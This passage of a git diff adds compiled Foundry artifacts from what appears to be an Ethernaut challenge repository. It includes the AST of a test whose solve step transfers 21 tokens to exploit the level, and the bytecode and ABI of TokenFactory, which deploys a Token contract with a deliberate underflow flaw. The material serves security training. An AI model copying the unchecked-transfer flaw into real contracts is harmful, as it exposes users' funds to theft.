0"}],"id":64853,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1209:19:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":64862,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1209:58:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64852,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1201:8:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":64851,"name":"address","nodeType":"ElementaryTypeName","src":"1201:8:149","stateMutability":"payable","typeDescriptions":{}}},"id":64863,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1201:67:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64850,"name":"Token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64756,"src":"1195:5:149","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Token_$64756_$","typeString":"type(contract Token)"}},"id":64864,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1195:74:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"src":"1184:85:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"id":64866,"nodeType":"ExpressionStatement","src":"1184:85:149"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64867,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1279:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64869,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1282:9:149","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1279:12:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64870,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1279:14:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64871,"nodeType":"ExpressionStatement","src":"1279:14:149"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"701:5:149","parameters":{"id":64771,"nodeType":"ParameterList","parameters":[],"src":"706:2:149"},"returnParameters":{"id":64772,"nodeType":"ParameterList","parameters":[],"src":"716:0:149"},"scope":64926,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64894,"nodeType":"FunctionDefinition","src":"1552:137:149","nodes":[],"body":{"id":64893,"nodeType":"Block","src":"1579:110:149","nodes":[],"statements":[{"expression":{"arguments":[{"id":64880,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"1603:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64877,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1589:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64879,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1592:10:149","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1589:13:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1589:21:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64882,"nodeType":"ExpressionStatement","src":"1589:21:149"},{"expression":{"arguments":[{"arguments":[{"id":64885,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"1652:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64888,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1671:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}],"id":64887,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1663:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64886,"name":"address","nodeType":"ElementaryTypeName","src":"1663:7:149","typeDescriptions":{}}},"id":64889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1663:17:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64884,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1632:19:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1632:49:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64883,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1620:11:149","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1620:62:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64892,"nodeType":"ExpressionStatement","src":"1620:62:149"}]},"documentation":{"id":64874,"nodeType":"StructuredDocumentation","src":"1484:63:149","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1561:8:149","parameters":{"id":64875,"nodeType":"ParameterList","parameters":[],"src":"1569:2:149"},"returnParameters":{"id":64876,"nodeType":"ParameterList","parameters":[],"src":"1579:0:149"},"scope":64926,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64925,"nodeType":"FunctionDefinition","src":"1744:189:149","nodes":[],"body":{"id":64924,"nodeType":"Block","src":"1772:161:149","nodes":[],"statements":[{"expression":{"arguments":[{"id":64901,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"1796:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64898,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1782:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64900,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1785:10:149","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1782:13:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64902,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1782:21:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64903,"nodeType":"ExpressionStatement","src":"1782:21:149"},{"expression":{"arguments":[{"arguments":[{"id":64909,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1840:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}],"id":64908,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1832:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64907,"name":"address","nodeType":"ElementaryTypeName","src":"1832:7:149","typeDescriptions":{}}},"id":64910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1832:17:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3231","id":64911,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1851:2:149","typeDescriptions":{"typeIdentifier":"t_rational_21_by_1","typeString":"int_const 21"},"value":"21"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_21_by_1","typeString":"int_const 21"}],"expression":{"id":64904,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1814:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"id":64906,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1823:8:149","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":64755,"src":"1814:17:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":64912,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1814:40:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":64913,"nodeType":"ExpressionStatement","src":"1814:40:149"},{"expression":{"arguments":[{"arguments":[{"id":64916,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"1896:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64919,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1915:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}],"id":64918,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1907:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64917,"name":"address","nodeType":"ElementaryTypeName","src":"1907:7:149","typeDescriptions":{}}},"id":64920,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1907:17:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64915,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1876:19:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64921,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1876:49:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64914,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1865:10:149","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64922,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1865:61:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64923,"nodeType":"ExpressionStatement","src":"1865:61:149"}]},"documentation":{"id":64895,"nodeType":"StructuredDocumentation","src":"1695:44:149","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1753:9:149","parameters":{"id":64896,"nodeType":"ParameterList","parameters":[],"src":"1762:2:149"},"returnParameters":{"id":64897,"nodeType":"ParameterList","parameters":[],"src":"1772:0:149"},"scope":64926,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":64757,"name":"Test","nameLocations":["392:4:149"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"392:4:149"},"id":64758,"nodeType":"InheritanceSpecifier","src":"392:4:149"},{"baseName":{"id":64759,"name":"Utils","nameLocations":["398:5:149"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"398:5:149"},"id":64760,"nodeType":"InheritanceSpecifier","src":"398:5:149"}],"canonicalName":"TestToken","contractDependencies":[49101,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[64926,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestToken","nameLocation":"379:9:149","scope":64927,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":149} \ No newline at end of file diff --git a/contracts/out/TokenFactory.sol/TokenFactory.json b/contracts/out/TokenFactory.sol/TokenFactory.json new file mode 100644 index 000000000..e4c96f053 --- /dev/null +++ b/contracts/out/TokenFactory.sol/TokenFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x60806040526301406f40600155601460025534801561001d57600080fd5b506000610028610077565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061007b565b3390565b6106e58061008a6000396000f3fe60806040526004361061005a5760003560e01c80638da5cb5b116100435780638da5cb5b146100b8578063d38def5b146100cd578063f2fde38b1461011c5761005a565b8063715018a61461005f5780637726f77614610076575b600080fd5b34801561006b57600080fd5b5061007461014f565b005b61009c6004803603602081101561008c57600080fd5b50356001600160a01b031661021a565b604080516001600160a01b039092168252519081900360200190f35b3480156100c457600080fd5b5061009c6102de565b3480156100d957600080fd5b50610108600480360360408110156100f057600080fd5b506001600160a01b03813581169160200135166102ed565b604080519115158252519081900360200190f35b34801561012857600080fd5b506100746004803603602081101561013f57600080fd5b50356001600160a01b0316610378565b610157610499565b6001600160a01b03166101686102de565b6001600160a01b0316146101c3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008060015460405161022c9061049d565b90815260405190819003602001906000f08015801561024f573d6000803e3d6000fd5b509050806001600160a01b031663a9059cbb846002546040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156102ab57600080fd5b505af11580156102bf573d6000803e3d6000fd5b505050506040513d60208110156102d557600080fd5b50909392505050565b6000546001600160a01b031690565b600080839050600254816001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561034357600080fd5b505afa158015610357573d6000803e3d6000fd5b505050506040513d602081101561036d57600080fd5b505111949350505050565b610380610499565b6001600160a01b03166103916102de565b6001600160a01b0316146103ec576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166104315760405162461bcd60e51b815260040180806020018281038252602681526020018061068a6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b3390565b6101df806104ab8339019056fe608060405234801561001057600080fd5b506040516101df3803806101df8339818101604052602081101561003357600080fd5b5051600181905533600090815260208190526040902055610186806100596000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806318160ddd1461004657806370a0823114610060578063a9059cbb14610093575b600080fd5b61004e6100e0565b60408051918252519081900360200190f35b61004e6004803603602081101561007657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166100e6565b6100cc600480360360408110156100a957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561010e565b604080519115158252519081900360200190f35b60015481565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b336000908152602081905260408082208054849003905573ffffffffffffffffffffffffffffffffffffffff939093168152919091208054909101905560019056fea2646970667358221220ada68e3db0d894ef48a1e942aa736d2226b5be92a53f45d9ab61a2dfd22f4e6564736f6c634300060c00334f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220e8ef40b26b6237542172c2ed85b6231bff9fed2b5a3135b2a10f90b3a611b51064736f6c634300060c0033","sourceMap":"111:521:13:-:0;;;165:8;148:25;;202:2;179:25;;111:521;;;;;;;;;-1:-1:-1;884:17:0;904:12;:10;:12::i;:::-;926:6;:18;;-1:-1:-1;;;;;;926:18:0;-1:-1:-1;;;;;926:18:0;;;;;;;959:43;;926:18;;-1:-1:-1;926:18:0;959:43;;926:6;;959:43;850:159;111:521:13;;598:104:4;685:10;598:104;:::o;111:521:13:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061005a5760003560e01c80638da5cb5b116100435780638da5cb5b146100b8578063d38def5b146100cd578063f2fde38b1461011c5761005a565b8063715018a61461005f5780637726f77614610076575b600080fd5b34801561006b57600080fd5b5061007461014f565b005b61009c6004803603602081101561008c57600080fd5b50356001600160a01b031661021a565b604080516001600160a01b039092168252519081900360200190f35b3480156100c457600080fd5b5061009c6102de565b3480156100d957600080fd5b50610108600480360360408110156100f057600080fd5b506001600160a01b03813581169160200135166102ed565b604080519115158252519081900360200190f35b34801561012857600080fd5b506100746004803603602081101561013f57600080fd5b50356001600160a01b0316610378565b610157610499565b6001600160a01b03166101686102de565b6001600160a01b0316146101c3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008060015460405161022c9061049d565b90815260405190819003602001906000f08015801561024f573d6000803e3d6000fd5b509050806001600160a01b031663a9059cbb846002546040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156102ab57600080fd5b505af11580156102bf573d6000803e3d6000fd5b505050506040513d60208110156102d557600080fd5b50909392505050565b6000546001600160a01b031690565b600080839050600254816001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561034357600080fd5b505afa158015610357573d6000803e3d6000fd5b505050506040513d602081101561036d57600080fd5b505111949350505050565b610380610499565b6001600160a01b03166103916102de565b6001600160a01b0316146103ec576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166104315760405162461bcd60e51b815260040180806020018281038252602681526020018061068a6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b3390565b6101df806104ab8339019056fe608060405234801561001057600080fd5b506040516101df3803806101df8339818101604052602081101561003357600080fd5b5051600181905533600090815260208190526040902055610186806100596000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806318160ddd1461004657806370a0823114610060578063a9059cbb14610093575b600080fd5b61004e6100e0565b60408051918252519081900360200190f35b61004e6004803603602081101561007657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166100e6565b6100cc600480360360408110156100a957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561010e565b604080519115158252519081900360200190f35b60015481565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b336000908152602081905260408082208054849003905573ffffffffffffffffffffffffffffffffffffffff939093168152919091208054909101905560019056fea2646970667358221220ada68e3db0d894ef48a1e942aa736d2226b5be92a53f45d9ab61a2dfd22f4e6564736f6c634300060c00334f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220e8ef40b26b6237542172c2ed85b6231bff9fed2b5a3135b2a10f90b3a611b51064736f6c634300060c0033","sourceMap":"111:521:13:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1717:145:0;;;;;;;;;;;;;:::i;:::-;;211:209:13;;;;;;;;;;;;;;;;-1:-1:-1;211:209:13;-1:-1:-1;;;;;211:209:13;;:::i;:::-;;;;-1:-1:-1;;;;;211:209:13;;;;;;;;;;;;;;1085:85:0;;;;;;;;;;;;;:::i;426:204:13:-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;426:204:13;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;2011:240:0;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2011:240:0;-1:-1:-1;;;;;2011:240:0;;:::i;1717:145::-;1308:12;:10;:12::i;:::-;-1:-1:-1;;;;;1297:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1297:23:0;;1289:68;;;;;-1:-1:-1;;;1289:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1823:1:::1;1807:6:::0;;1786:40:::1;::::0;-1:-1:-1;;;;;1807:6:0;;::::1;::::0;1786:40:::1;::::0;1823:1;;1786:40:::1;1853:1;1836:19:::0;;-1:-1:-1;;1836:19:0::1;::::0;;1717:145::o;211:209:13:-;285:7;304:11;328:6;;318:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;304:31;;345:5;-1:-1:-1;;;;;345:14:13;;360:7;369:12;;345:37;;;;;;;;;;;;;-1:-1:-1;;;;;345:37:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;407:5:13;;211:209;-1:-1:-1;;;211:209:13:o;1085:85:0:-;1131:7;1157:6;-1:-1:-1;;;;;1157:6:0;1085:85;:::o;426:204:13:-;521:4;537:11;557:9;537:30;;611:12;;584:5;-1:-1:-1;;;;;584:15:13;;600:7;584:24;;;;;;;;;;;;;-1:-1:-1;;;;;584:24:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;584:24:13;:39;;426:204;-1:-1:-1;;;;426:204:13:o;2011:240:0:-;1308:12;:10;:12::i;:::-;-1:-1:-1;;;;;1297:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1297:23:0;;1289:68;;;;;-1:-1:-1;;;1289:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2099:22:0;::::1;2091:73;;;;-1:-1:-1::0;;;2091:73:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2200:6;::::0;;2179:38:::1;::::0;-1:-1:-1;;;;;2179:38:0;;::::1;::::0;2200:6;::::1;::::0;2179:38:::1;::::0;::::1;2227:6;:17:::0;;-1:-1:-1;;2227:17:0::1;-1:-1:-1::0;;;;;2227:17:0;;;::::1;::::0;;;::::1;::::0;;2011:240::o;598:104:4:-;685:10;598:104;:::o;-1:-1:-1:-;;;;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/TokenFactory.sol\":\"TokenFactory\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol\":{\"